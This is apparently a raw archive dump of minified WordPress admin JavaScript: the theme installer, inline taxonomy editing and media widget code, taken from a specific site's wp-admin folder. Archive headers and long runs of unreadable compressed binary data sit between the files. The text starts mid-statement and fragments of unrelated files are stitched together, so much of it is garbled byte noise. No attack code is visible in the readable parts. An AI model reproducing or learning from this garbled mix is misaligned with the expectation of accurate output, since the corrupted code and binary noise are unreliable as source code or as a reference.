t={};this.terms!==e&&(this.terms=e,"author:"===(t.search=e).substring(0,7)&&(t.search="",t.author=e.slice(7)),"tag:"===e.substring(0,4)&&(t.search="",t.tag=[e.slice(4)]),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),n("body").removeClass("show-filters filters-applied show-favorites-form"),n(".drawer-toggle").attr("aria-expanded","false"),this.collection.query(t),o.router.navigate(o.router.baseUrl(o.router.searchPath+encodeURIComponent(e)),{replace:!0}))}}),o.view.Installer=o.view.Appearance.extend({el:"#wpbody-content .wrap",events:{"click .filter-links li > a":"onSort","click .theme-filter":"onFilter","click .drawer-toggle":"moreFilters","click .filter-drawer .apply-filters":"applyFilters",'click .filter-group [type="checkbox"]':"addFilter","click .filter-drawer .clear-filters":"clearFilters","click .edit-filters":"backToFilters","click .favorites-form-submit":"saveUsername","keyup #wporg-username-input":"saveUsername"},render:function(){var e=this;this.search(),this.uploader(),this.collection=new o.Collection,this.listenTo(this,"theme:end",function(){e.collection.loadingThemes||(e.collection.loadingThemes=!0,e.collection.currentQuery.page++,_.extend(e.collection.currentQuery.request,{page:e.collection.currentQuery.page}),e.collection.query(e.collection.currentQuery.request))}),this.listenTo(this.collection,"query:success",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove()}),this.listenTo(this.collection,"query:fail",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove(),n(".theme-browser").find("div.themes").before('<div class="error"><p>'+a.error+'</p><p><button class="button try-again">'+a.tryAgain+"</button></p></div>"),n(".theme-browser .error .try-again").on("click",function(e){e.preventDefault(),n("input.wp-filter-search").trigger("input")})}),this.view&&this.view.remove(),this.view=new o.view.Themes({collection:this.collection,parent:this}),this.page=0,this.$el.find(".themes").remove(),this.view.render(),this.$el.find(".theme-browser").append(this.view.el).addClass("rendered")},browse:function(e){"block-themes"===e?this.collection.query({tag:"full-site-editing"}):this.collection.query({browse:e})},onSort:function(e){var t=n(e.target),i=t.data("sort");e.preventDefault(),n("body").removeClass("filters-applied show-filters"),n(".drawer-toggle").attr("aria-expanded","false"),t.hasClass(this.activeClass)||(this.sort(i),o.router.navigate(o.router.baseUrl(o.router.browsePath+i)))},sort:function(e){this.clearSearch(),o.router.selectedTab=e,n(".filter-links li > a, .theme-filter").removeClass(this.activeClass).removeAttr("aria-current"),n('[data-sort="'+e+'"]').addClass(this.activeClass).attr("aria-current","page"),"favorites"===e?n("body").addClass("show-favorites-form"):n("body").removeClass("show-favorites-form"),this.browse(e)},onFilter:function(e){var e=n(e.target),t=e.data("filter");e.hasClass(this.activeClass)||(n(".filter-links li > a, .theme-section").removeClass(this.activeClass).removeAttr("aria-current"),e.addClass(this.activeClass).attr("aria-current","page"),t&&(t=_.union([t,this.filtersChecked()]),this.collection.query({tag:[t]})))},addFilter:function(){this.filtersChecked()},applyFilters:function(e){var t,i=this.filtersChecked(),s={tag:i},r=n(".filtered-by .tags");e&&e.preventDefault(),i?(n("body").addClass("filters-applied"),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),r.empty(),_.each(i,function(e){t=n('label[for="filter-id-'+e+'"]').text(),r.append('<span class="tag">'+t+"</span>")}),this.collection.query(s)):wp.a11y.speak(a.selectFeatureFilter)},saveUsername:function(e){var t=n("#wporg-username-input").val(),i=n("#wporg-username-nonce").val(),s={browse:"favorites",user:t},r=this;if(e&&e.preventDefault(),"keyup"!==e.type||13===e.which)return wp.ajax.send("save-wporg-username",{data:{_wpnonce:i,username:t},success:function(){r.collection.query(s)}})},filtersChecked:function(){var e=n(".filter-group").find(":checkbox"),t=[];return _.each(e.filter(":checked"),function(e){t.push(n(e).prop("value"))}),0===t.length?(n(".filter-drawer .apply-filters").find("span").text(""),n(".filter-drawer .clear-filters").hide(),n("body").removeClass("filters-applied"),!1):(n(".filter-drawer .apply-filters").find("span").text(t.length),n(".filter-drawer .clear-filters").css("display","inline-block"),t)},activeClass:"current",uploader:function(){var e=n(".upload-view-toggle"),t=n(document.body);e.on("click",function(){t.toggleClass("show-upload-view"),e.attr("aria-expanded",t.hasClass("show-upload-view"))})},moreFilters:function(e){var t=n("body"),i=n(".drawer-toggle");if(e.preventDefault(),t.hasClass("filters-applied"))return this.backToFilters();this.clearSearch(),o.router.navigate(o.router.baseUrl("")),t.toggleClass("show-filters"),i.attr("aria-expanded",t.hasClass("show-filters"))},clearFilters:function(e){var t=n(".filter-group").find(":checkbox"),i=this;e.preventDefault(),_.each(t.filter(":checked"),function(e){return n(e).prop("checked",!1),i.filtersChecked()})},backToFilters:function(e){e&&e.preventDefault(),n("body").removeClass("filters-applied")},clearSearch:function(){n("#wp-filter-search-input").val("")}}),o.InstallerRouter=Backbone.Router.extend({routes:{"theme-install.php?theme=:slug":"preview","theme-install.php?browse=:sort":"sort","theme-install.php?search=:query":"search","theme-install.php":"sort"},baseUrl:function(e){return"theme-install.php"+e},themePath:"?theme=",browsePath:"?browse=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},navigate:e}),o.RunInstaller={init:function(){this.view=new o.view.Installer({section:"popular",SearchView:o.view.InstallerSearch}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this,i={};o.router=new o.InstallerRouter,o.router.on("route:preview",function(e){o.preview&&(o.preview.undelegateEvents(),o.preview.unbind()),t.view.view.theme&&t.view.view.theme.preview?(t.view.view.theme.model=t.view.collection.findWhere({slug:e}),t.view.view.theme.preview()):(i.theme=e,t.view.collection.query(i),t.view.collection.trigger("update"),t.view.collection.once("query:success",function(){n('div[data-slug="'+e+'"]').trigger("click")}))}),o.router.on("route:sort",function(e){e||(e="popular",o.router.navigate(o.router.baseUrl("?browse=popular"),{replace:!0})),t.view.sort(e),o.preview&&o.preview.close()}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("focus").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},n(function(){(o.isInstall?o.RunInstaller:o.Run).init(),n(document.body).on("click",".load-customize",function(){var e=n(this),t=document.createElement("a");t.href=e.prop("href"),t.search=n.param(_.extend(wp.customize.utils.parseQueryString(t.search.substr(1)),{return:window.location.href})),e.prop("href",t.href)}),n(".broken-themes .delete-theme").on("click",function(){return confirm(_wpThemeSettings.settings.confirmDelete)})})}(jQuery),jQuery(function(r){window.tb_position=function(){var e=r("#TB_window"),t=r(window).width(),i=r(window).height(),t=1040<t?1040:t,s=0;r("#wpadminbar").length&&(s=parseInt(r("#wpadminbar").css("height"),10)),1<=e.length&&(e.width(t-50).height(i-45-s),r("#TB_iframeContent").width(t-50).height(i-75-s),e.css({"margin-left":"-"+parseInt((t-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&e.css({top:20+s+"px","margin-top":"0"})},r(window).on("resize",function(){tb_position()})});media-image-widget.min.js.min.js.tar.gz000064400000001704150276633110013713 0ustar00��V]o�6��~�C��є���!C�<薭�R�`�k��$
�U����%%[v���a�C�b����si-M	q�PcU�Yp��k,�23e|U�U^�*�p���..!�j�K��q��!/ܳ{Ƅ����q�N�&��&/O���/_��&��7GC�-m�_��xot��n4���W5h���*�|���7o���"%_��ȡ��饲#H�|�=�1��ɡ��B�G��ܝc*�fȀK��%�a��3��
^� �bŲBg_F�3dg�qm�RÕ�M��K�c����M��uiɆ_.�N��FZ��
U��BTٲ��g:g��ם����/"L�|Nѹ&&�Nd�H�j�P�`���$vGkHG�IJ�����~�5��h�}����s���MAG8b�\�*t��q�]����".�m���E����"w�cxl����ߦ�y+6=��"-@�Т�R�q�&d�ZUv�"�whSw�*SK���_��[��F�
���WJX ���~�J���r�*���� ��A��V#�CՈKr�՟'�̴�i�ӿ`:$
Ȩ�?m�I!���\�I{�u�pa�����4>�9x��5i�;��
�56�;h}gְo��%QcMMz@�d�g��d����c!6����
��]W�xl������ȟaND '�-\�t5.#�$�Q/<?0+�#x[u��T�%u��0��:�*_�����@�u��8����-x���TQt|���ɯ�(� �2��%���I�a�|J��3��-T�>�}Ep��ygF�9��)>��j�uK��?ܺ��Ƈ��`������L���X�_���ş^�籠�c��)��X�uߟ���E��z�m˧���TBL��M�ƺ�e� V��c{o��ڙ{'.~k�^����4�����?ܰ�-media-image-widget.js.js.tar.gz000064400000003603150276633110012347 0ustar00��X[s�D�U��N���#�4�!P��\fB)�g#��Me��]%���;����
w���L�{��;y.<)���E�*�
ӺR<�S�H��#�-D����Nd3nt��`Gb�f�ȝ�7����ӓ�����ǟ<=���OFǧ�����1�?=�h����a�*�
]��'9<<�Cx&+SV��72%�!p���@*-��92s���3<�JI�h���(�?�_�+�VEj�,"�Z��g���p��栍�	��[��R��j��χ��s'�hɗ����L�q�tn�8�7��;� �&�~<������`�S%J��L���E&��Ji�KS%p��%�?J���t<Ks�!�箌m�:[c�bt�J�T�]Olp/�f���5ދ��F�ȓ�`58p�Eu�'�`���a9��:Y�����l�2!�Z
�����W_7�Ø���[W��T�߸�a��w�'~��-��w��?�����=C�G8�Ic<,���oUǎyH�a���-8+��>*�E{�R�U���1�H`����0����
N��M�
x��"�\P���я���;��J�i�$j/�F��D�U{�/J�zS��L{�#������iS�����o`<"�1,��&"�Q=y���R9�׆�y+~IVͶ�sb����l��r�<�(qh�7d��cw�{��֎xny�è5n��R�R�F~{�껈��"�e�s*l4�C��m����{��,�@��L+JJ�<��E����
�	�ci�}���2VCݗ����JZ�k�U�,�"p�P�b��^F�,�{K�y�=�g Н=
���X۳]�j�yI�*3t�9��k��BƧ����}��ax�8�7/gV�!�Z^�2mx��R��d%	|�y���X�9.6J�wy�����1� �Q� ��e����0�q�Đ�p~~ޚm��"�wJ��!�>�&]ᬭJ/c6M�s���!ξG5����o8�g�š��(C�"�]cɸ��Z�`�)�ᕫ�b��C��M��`Ymb\�}�c���?Z�bC�pw�ܔ#�2���-m�����I�1�FH���8�q���

"�S�YS��Cbl
bT��ue��݈n��*���av�H�g+�]���0�h��/Z���g�ϑ	����b�C��C���6	
��`i�-�~5�R�&��ɷ��'x��c�3*��=m�PS�+�]�"b�C��p��1���)w��S�n�S�חB��+�K

l�3��2!�4W�ؚ��ܘR��$�
�X�I�!�����%w&n������gh^#�*�΂��n
#���{Ն���("}Q׀��|�����f�v��C��y��w�4����*��s:����2P��yS1�����%��#�I^�u_a�,-J��"�S�DՌZ<AYR�mg��Dws���Z���7DL�,K�?�}�� 2�8_�U^��D"f�ȸ�%n�%����R�j��e�ZI�`�\�ץ�)E�vW�.y�Ҵ�Vy^����aT�ι��
��W[���@Q��Ê��������y�z;ᚸҢO�h�P�O�0X�m_v��9U�(���=J4uN3�����ܫ�sq����e�dh<�@�â[(�+k�қp�з�k��K�����6��7a�u���yW�l�_�V7�Y�`z)�a䂕u:p`��#�E�/�����B��v��
���݄{|q��q���R����}n�tk�=s���~�v(��
�Ca^��n�$�?��q=X#H~�<>|�qm��w�[��/I}�f�ݨ�����4�Mp�oeauPO��/ڟ���͏/hĦ
=;���4�-�A��#�n����'����v�?��g����*�text-widgets.js.js.tar.gz000064400000012415150276633110011360 0ustar00��\[w7��W�W �rȦl��)�Ʒ�(3��+g���x@6H����4�b�����@�Iə�f�l�K�@�P��W���˅�����Iel��]U&M&�b�^u�Ȋ�;;Zg���vT���������~>�����ǟ=�|��������{�<��<T�ד��V��
���X���gt���.W�rU��7��Y^�u���,&f��:�'�giV���A0��<+j5)������g�D��n��*�[u^�U��Ro�2sT腱K=1�T�<�fh���:S}5]�:+�����ԇÃ��e�*�Խ��ÃK]#�e	�^�r�fv�Ykҗ%�i*d��^d�cm
q�Õz�����$�W��'� �XOޏ�u�̬`��[R_��m�e�D��ʺ�7K���<@"HQ�KX�&�M�?��3������<�D}�DTpEŧ�D�5<��ZM��y�z5[�ZJŻw��@OO�p�������%�UC��K�q�ke�����:�O3�����R&7��5$즘<�s�Z4_��2L�*
����iY�z���T��*S��B}�,��9����L������y��'�==u
���jt��埄B�	��*ת�x�F�W���Y1���)�� ��T�y�����R';�����頑Qq��vֽ4��M�m�D��Y��W�אO��Z'��0C�X溆c��$" c
H#$2�@R.�2l#�P��p�i�@��K �ȀcS^9>鴮Y'�2������5�P���7ɳ�� ��F<U�*p���S3ի��3�ׯ9�R�߆��S����d��$��Q߲���t�K�泙�w��qj����y��,ڷ��[���M��o*5P/9��Btnp�4ţK��z���/ua�~���HQ�1�pc
����4�Mx�Jn��5uqk�NI-	���ˏQ�A��Vߡl�H�9s�7�s]C�@J��G�刖bW5�p�{�Ɋu�@$�)(����y6�+��+p��`���at��&FO���FO�q���= ;��[>vfn2�����V��2�
��{5�p���@��᥂O��F��'�GN�T��K.5X����,؆<���;F�n
l�l���JB���}_�Į�`�]e��FUf@7�_'o��.��U
�\Un�%@�ƒ�7dq�lSI�$h�T�ѦY�[�)[�ob	S=!3R߾z�ga2�V< �,���^�|TUН'�|�S�p1a�	�qZ������:����P��W����9Y��A
�a�oA�E���ъU.�Jb���΃�w��!J�"r���(�W����3&���l�O�u%(�v�c_���"&�o�-Ͻ�ٞ�`��LJH���2�^�“�s'�
B�����<�����8+a�������1�)�7�\5G�P{kU�
�G��_e�} ����4
���­��i����>������5  L�<�Kk�����]'L�����ӏ%s�]M��z�3bt��lV��>��`i�ߚPZ�+�ł�*La���g�Y-�
��I�&��d����
�ͅ�?+�����
&�(&�qh4<&UB0^W�X�q��Q��W0�BJ}��A��\P�
�`���3Y4Q*�[�8aL��3MaS����.�3ɿ;�E����G���C}�~�Œ���q���{'�����e쮶���\+�����=�L��!d�11��OZϾa-$���vqp��	�\Q���_.󔋈�^�岃�Ѳ�s_^PB�c�3�lg��_��z�qO͸���o�7������@eh� ]
���zBΧO�������`��y��;�p(U��W2�'�b
���Y���ʐp�r��@X;Sd^�E97��h�#�$� ��o�X�J)�+��2h���D���֡��8<^M�$��ǧ�.���q��-��j�1�s �	��U�/��+��M��N[z�Y�[��qt��E�?���(WX׆�0��Ly�+�<�ߦ�lՅ�4�z�癝#���t)(������i����l¤� $�[��KO˝��0��{W�]
j����k\'�X&�.=M�8(3EPJR���Iב)��H,3��ʉ��cC����0�јP
L��w��Y�@-����'���l��+Й �Br�Dx����r���Uv^�rL��O�wS��i�Đ=����;I�Y����u=E�Qڄ�a�Ŋ���J�k�)��ni�p%е�.�
@���\_���~�|U�~�!�mI��pGx�KCH�~��Exr�[�y�8~�A���/�u��'���\��ɺ�RPXH��j6�A�M=z����_%��(H�C���$�&-�~	��Q$D����"[�`}�D�kr��I�>���~�����W�.'���c78�o��0��M�U��Ո����C
8�q�|�gQ��D��V��=��;�I�6����?�]i�>���"a��|��;8U�C�I��'F���T���#	��1Ȥ�(���,��G�&=��WoN�Yew��἞�#�(�Wu�mW�7T��2pu}ef8�?�hgiW���u���y#:1Ң����;�:ڵ�:7ŲG㲪�:����WQ���Ĕg�ѯ�+�b���x�1�pCU2qÁ�~�`q�%l<ޜá�
1��C+r��J�Yt�)����g�2xib
�]��kWg��=p����%�,��������@j=�ܮ�Vf �)�g��7�\)r�V�r�b�F��3Ki�dd�>36}.W6|��$��7N�pK�mܼ58pz�r���Cۛ{��
�a
��pj]//3���Z�YV0���Ԍ,���ñ�7Ca�6�����`��c@yG�C`�|
�\�H7�1M`@f>KmX�a@��e
C�-�M$�'c�xt.k-:픚X�A�O>�?Q���,���#�����L��S��O�ű�ݭ�H�E�'Aا�1Ra��n�ߡ�M	�����< X��{7%�����r^�鄾wO��<�v�2rk��45��(m;�0�j/pԪ5���xki�ۺ��y+��n�4	����3�+�Y�e'�����a���	5��a���z??=�8��#��|i�%NC�.�8����r�p�*�L������7�׈��ϧ�b��8�y��9'��"��p6]7�,�›��kTFt.�H-Z�>K�4��:#DȠa�g�IC���)�v���{-��*���|F�&��!	N�b��
f&A��"�l�ɍ:������N�dV���IA&c����L�$���,��������g�S@<�pB�]8�j�n}�/q��{RV�}�m~~1���u�p��EK�<ǵm'���7�n�(1�S�,S��נ(#�5LD��aG�9��Q[bb
p��HZ��%���2���O�%gv���]<\�����ӟ֟&w��ά>uٍ٫�K�Ax�f�l6�e�.�#k�����lH��TvM��O�zU�����H�BgOB6mܐ6�g��7F4�_���vW�}�xئ�1�Ş5S�[%�6]D&q�Җ�vQ�/�Mѝ3<"��+=�giil�o�`��v�/}��{��O��<ʢy��7S�/�hTD��wTỪ�J�t��R� �E�^^�a��:�u(:�%���2h��<��b9>��%�pN�8� ����7۝�v5�`C�Aǭ������Ŵݡ����ɗ؋]��uu�h�q���=�I]���0�o_��Ԑ�Q�ڿkޥ"	���[����o4B��3�~%�a��yj[p��ݹv��M�v���-��Z��D��#�S?��K�x�9aƨ�o�)�^gas|8�:x��s�t�ꓹ��wWa���Z���
n�R9��`~]�C�{!������t��W*�5�(x0%�;���=��@F��B���C��Ā�f��xdY�c}:�,�sS�cAy�����,};֜A�B�Cg:��L �}8oB9���K����O6���F��}��{�v��E�n���D�ڀ����|��Hc7��l�0Y�
�Ds3ӓ�O$E�`������{a�~Bi��-3�~"�P"j	�nb5m��*���n.�+'KdLɭ�Z����a���K��X����[]@���bZ�z��K�԰�O�T�W5=aN�bYgFK05s�Zxs�F�Ε?�[ ����C������{<�G����k�SJ�=
J�z�Ò�yӰ�խ)D�9.�yD��~�p���`:^m�-����B��<�p��/䖮���|�#�|С+�Į,
s�/���/G�_IA�_6��i-���-	kY��J��Y'����=_2��n�k/v�8Z�$vՇ���3��1�44��3�/Aÿ!���
���9�Ds|�!�lw�y����vS����x*'�:`�zS�'��������O�8#�o���\�¢��	l��\+no���c��E�L;�&"��h�\[����E��{pg���r_�S�	'�-5M/���MѰ�]`G�&��Х�8˳�NJ��h��E��q�9Ou��r�8�r�|�e\p<&��S�V<܃R~]��ۄ��?� \*�/x�cle�	ۊ�
�4xJ��)�¶Y��_"�Ixjyc��>	,K��e�Ƀ�����'Ι+�|%�k� Q�����"�}I��~OmE$\W���%N�mÏI
���i����İ�[�}���������)�9N����t�v���:s�7p�M=�u*�1���׫������
9���l\��`M>eU�[��e���/@T��R�`���}S�hc�L�"�f���O(�@����zF����<��I��\��<���! �
Ծ
Ξ��n���9�?��s]��~R���|�M����R!�+��`��7���3	��t�p���hJsk�I,���w��|`w�����	�[^\���3�c�.T�`Flī���)�$���{�&�Nh�G�2$��-Kg4Xg���nPn\\��y^���	�UNu�}����l�`\�,ߛ���PZAQS�nLǂ�>�v����w���ױÏ>#i{�3�rۣK3���K�\��M�g�5��9$�u��'�x�?�/����(�`�4ߝvї���L��ڵ�8)�W<����izkGܳ��Tnv��>!�t�=�:��q��H=�J���Er�࣋8R?����/�኿����~������?�SGNinline-edit-tax.min.js000064400000005665150276633110010677 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},function(s,l){window.inlineEditTax={init:function(){var t=this,i=s("#inline-edit");t.type=s("#the-list").attr("data-wp-lists").substr(5),t.what="#"+t.type+"-",s("#the-list").on("click",".editinline",function(){s(this).attr("aria-expanded","true"),inlineEditTax.edit(this)}),i.on("keyup",function(t){if(27===t.which)return inlineEditTax.revert()}),s(".cancel",i).on("click",function(){return inlineEditTax.revert()}),s(".save",i).on("click",function(){return inlineEditTax.save(this)}),s("input, select",i).on("keydown",function(t){if(13===t.which)return inlineEditTax.save(this)}),s('#posts-filter input[type="submit"]').on("mousedown",function(){t.revert()})},toggle:function(t){var i=this;"none"===s(i.what+i.getId(t)).css("display")?i.revert():i.edit(t)},edit:function(t){var i,e,n=this;return n.revert(),"object"==typeof t&&(t=n.getId(t)),i=s("#inline-edit").clone(!0),e=s("#inline_"+t),s("td",i).attr("colspan",s("th:visible, td:visible",".wp-list-table.widefat:first thead").length),s(n.what+t).hide().after(i).after('<tr class="hidden"></tr>'),(n=s(".name",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="name"]',i).val(n),(n=s(".slug",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="slug"]',i).val(n),s(i).attr("id","edit-"+t).addClass("inline-editor").show(),s(".ptitle",i).eq(0).trigger("focus"),!1},save:function(d){var t=s('input[name="taxonomy"]').val()||"";return"object"==typeof d&&(d=this.getId(d)),s("table.widefat .spinner").addClass("is-active"),t={action:"inline-save-tax",tax_type:this.type,tax_ID:d,taxonomy:t},t=s("#edit-"+d).find(":input").serialize()+"&"+s.param(t),s.post(ajaxurl,t,function(t){var i,e,n,a=s("#edit-"+d+" .inline-edit-save .notice-error"),r=a.find(".error");s("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(s(inlineEditTax.what+d).siblings("tr.hidden").addBack().remove(),e=s(t).attr("id"),s("#edit-"+d).before(t).remove(),i=e?(n=e.replace(inlineEditTax.type+"-",""),s("#"+e)):(n=d,s(inlineEditTax.what+d)),s("#parent").find("option[value="+n+"]").text(i.find(".row-title").text()),i.hide().fadeIn(400,function(){i.find(".editinline").attr("aria-expanded","false").trigger("focus"),l.a11y.speak(l.i18n.__("Changes saved."))})):(a.removeClass("hidden"),r.html(t),l.a11y.speak(r.text())):(a.removeClass("hidden"),r.text(l.i18n.__("Error while saving the changes.")),l.a11y.speak(l.i18n.__("Error while saving the changes.")))}),!1},revert:function(){var t=s("table.widefat tr.inline-editor").attr("id");t&&(s("table.widefat .spinner").removeClass("is-active"),s("#"+t).siblings("tr.hidden").addBack().remove(),t=t.substr(t.lastIndexOf("-")+1),s(this.what+t).show().find(".editinline").attr("aria-expanded","false").trigger("focus"))},getId:function(t){t=("TR"===t.tagName?t.id:s(t).parents("tr").attr("id")).split("-");return t[t.length-1]}},s(function(){inlineEditTax.init()})}(jQuery,window.wp);media-widgets.min.js.tar000064400000037000150276633110011200 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-widgets.min.js000064400000033624150275747650022273 0ustar00/*! This file is auto-generated */
wp.mediaWidgets=function(c){"use strict";var m={controlConstructors:{},modelConstructors:{}};return m.PersistentDisplaySettingsLibrary=wp.media.controller.Library.extend({initialize:function(e){_.bindAll(this,"handleDisplaySettingChange"),wp.media.controller.Library.prototype.initialize.call(this,e)},handleDisplaySettingChange:function(e){this.get("selectedDisplaySettings").set(e.attributes)},display:function(e){var t=this.get("selectedDisplaySettings"),e=wp.media.controller.Library.prototype.display.call(this,e);return e.off("change",this.handleDisplaySettingChange),e.set(t.attributes),"custom"===t.get("link_type")&&(e.linkUrl=t.get("link_url")),e.on("change",this.handleDisplaySettingChange),e}}),m.MediaEmbedView=wp.media.view.Embed.extend({initialize:function(e){var t=this;wp.media.view.Embed.prototype.initialize.call(t,e),"image"!==t.controller.options.mimeType&&(e=t.controller.states.get("embed")).off("scan",e.scanImage,e)},refresh:function(){var e="image"===this.controller.options.mimeType?wp.media.view.EmbedImage:wp.media.view.EmbedLink.extend({setAddToWidgetButtonDisabled:function(e){this.views.parent.views.parent.views.get(".media-frame-toolbar")[0].$el.find(".media-button-select").prop("disabled",e)},setErrorNotice:function(e){var t=this.views.parent.$el.find("> .notice:first-child");e?(t.length||((t=c('<div class="media-widget-embed-notice notice notice-error notice-alt"></div>')).hide(),this.views.parent.$el.prepend(t)),t.empty(),t.append(c("<p>",{html:e})),t.slideDown("fast")):t.length&&t.slideUp("fast")},updateoEmbed:function(){var e=this,t=e.model.get("url");t?(t.match(/^(http|https):\/\/.+\//)||(e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setAddToWidgetButtonDisabled(!0)),wp.media.view.EmbedLink.prototype.updateoEmbed.call(e)):(e.setErrorNotice(""),e.setAddToWidgetButtonDisabled(!0))},fetch:function(){var t,e,i=this,n=i.model.get("url");i.dfd&&"pending"===i.dfd.state()&&i.dfd.abort(),t=function(e){i.renderoEmbed({data:{body:e}}),i.controller.$el.find("#embed-url-field").removeClass("invalid"),i.setErrorNotice(""),i.setAddToWidgetButtonDisabled(!1)},(e=document.createElement("a")).href=n,(e=e.pathname.toLowerCase().match(/\.(\w+)$/))?(e=e[1],!wp.media.view.settings.embedMimes[e]||0!==wp.media.view.settings.embedMimes[e].indexOf(i.controller.options.mimeType)?i.renderFail():t("\x3c!--success--\x3e")):((e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(n))&&(n="https://www.youtube.com/watch?v="+e[1],i.model.attributes.url=n),i.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:n,maxwidth:i.model.get("width"),maxheight:i.model.get("height"),discover:!1},type:"GET",dataType:"json",context:i}),i.dfd.done(function(e){i.controller.options.mimeType!==e.type?i.renderFail():t(e.html)}),i.dfd.fail(_.bind(i.renderFail,i)))},renderFail:function(){var e=this;e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setErrorNotice(e.controller.options.invalidEmbedTypeError||"ERROR"),e.setAddToWidgetButtonDisabled(!0)}});this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))}}),m.MediaFrameSelect=wp.media.view.MediaFrame.Post.extend({createStates:function(){var t=this.options.mimeType,i=[];_.each(wp.media.view.settings.embedMimes,function(e){0===e.indexOf(t)&&i.push(e)}),0<i.length&&(t=i),this.states.add([new m.PersistentDisplaySettingsLibrary({id:"insert",title:this.options.title,selection:this.options.selection,priority:20,toolbar:"main-insert",filterable:"dates",library:wp.media.query({type:t}),multiple:!1,editable:!0,selectedDisplaySettings:this.options.selectedDisplaySettings,displaySettings:!!_.isUndefined(this.options.showDisplaySettings)||this.options.showDisplaySettings,displayUserSettings:!1}),new wp.media.controller.EditImage({model:this.options.editImage}),new wp.media.controller.Embed({metadata:this.options.metadata,type:"image"===this.options.mimeType?"image":"link",invalidEmbedTypeError:this.options.invalidEmbedTypeError})])},mainInsertToolbar:function(e){var i=this;e.set("insert",{style:"primary",priority:80,text:i.options.text,requires:{selection:!0},click:function(){var e=i.state(),t=e.get("selection");i.close(),e.trigger("insert",t).reset()}})},mainEmbedToolbar:function(e){e.view=new wp.media.view.Toolbar.Embed({controller:this,text:this.options.text,event:"insert"})},embedContent:function(){var e=new m.MediaEmbedView({controller:this,model:this.state()}).render();this.content.set(e)}}),m.MediaWidgetControl=Backbone.View.extend({l10n:{add_to_widget:"{{add_to_widget}}",add_media:"{{add_media}}"},id_base:"",mime_type:"",events:{"click .notice-missing-attachment a":"handleMediaLibraryLinkClick","click .select-media":"selectMedia","click .placeholder":"selectMedia","click .edit-media":"editMedia"},showDisplaySettings:!0,initialize:function(e){var i=this;if(Backbone.View.prototype.initialize.call(i,e),!(i.model instanceof m.MediaWidgetModel))throw new Error("Missing options.model");if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");if(i.syncContainer=e.syncContainer,i.$el.addClass("media-widget-control"),_.bindAll(i,"syncModelToInputs","render","updateSelectedAttachment","renderPreview"),!i.id_base&&(_.find(m.controlConstructors,function(e,t){return i instanceof e&&(i.id_base=t,!0)}),!i.id_base))throw new Error("Missing id_base.");i.previewTemplateProps=new Backbone.Model(i.mapModelToPreviewTemplateProps()),i.selectedAttachment=new wp.media.model.Attachment,i.renderPreview=_.debounce(i.renderPreview),i.listenTo(i.previewTemplateProps,"change",i.renderPreview),i.model.on("change:attachment_id",i.updateSelectedAttachment),i.model.on("change:url",i.updateSelectedAttachment),i.updateSelectedAttachment(),i.listenTo(i.model,"change",i.syncModelToInputs),i.listenTo(i.model,"change",i.syncModelToPreviewProps),i.listenTo(i.model,"change",i.render),i.$el.on("input change",".title",function(){i.model.set({title:c(this).val().trim()})}),i.$el.on("input change",".link",function(){var e=c(this).val().trim(),t="custom";i.selectedAttachment.get("linkUrl")===e||i.selectedAttachment.get("link")===e?t="post":i.selectedAttachment.get("url")===e&&(t="file"),i.model.set({link_url:e,link_type:t}),i.displaySettings.set({link:t,linkUrl:e})}),i.displaySettings=new Backbone.Model(_.pick(i.mapModelToMediaFrameProps(_.extend(i.model.defaults(),i.model.toJSON())),_.keys(wp.media.view.settings.defaultProps)))},updateSelectedAttachment:function(){var e,t=this;0===t.model.get("attachment_id")?(t.selectedAttachment.clear(),t.model.set("error",!1)):t.model.get("attachment_id")!==t.selectedAttachment.get("id")&&(e=new wp.media.model.Attachment({id:t.model.get("attachment_id")})).fetch().done(function(){t.model.set("error",!1),t.selectedAttachment.set(e.toJSON())}).fail(function(){t.model.set("error","missing_attachment")})},syncModelToPreviewProps:function(){this.previewTemplateProps.set(this.mapModelToPreviewTemplateProps())},syncModelToInputs:function(){var n=this;n.syncContainer.find(".media-widget-instance-property").each(function(){var e=c(this),t=e.data("property"),i=n.model.get(t);_.isUndefined(i)||(i="array"===n.model.schema[t].type&&_.isArray(i)?i.join(","):"boolean"===n.model.schema[t].type?i?"1":"":String(i),e.val()!==i&&(e.val(i),e.trigger("change")))})},template:function(){if(c("#tmpl-widget-media-"+this.id_base+"-control").length)return wp.template("widget-media-"+this.id_base+"-control");throw new Error("Missing widget control template for "+this.id_base)},render:function(){var e,t=this;t.templateRendered||(t.$el.html(t.template()(t.model.toJSON())),t.renderPreview(),t.templateRendered=!0),(e=t.$el.find(".title")).is(document.activeElement)||e.val(t.model.get("title")),t.$el.toggleClass("selected",t.isSelected())},renderPreview:function(){throw new Error("renderPreview must be implemented")},isSelected:function(){return!this.model.get("error")&&Boolean(this.model.get("attachment_id")||this.model.get("url"))},handleMediaLibraryLinkClick:function(e){e.preventDefault(),this.selectMedia()},selectMedia:function(){var i,t,e,n=this,d=[];n.isSelected()&&0!==n.model.get("attachment_id")&&d.push(n.selectedAttachment),d=new wp.media.model.Selection(d,{multiple:!1}),(e=n.mapModelToMediaFrameProps(n.model.toJSON())).size&&n.displaySettings.set("size",e.size),i=new 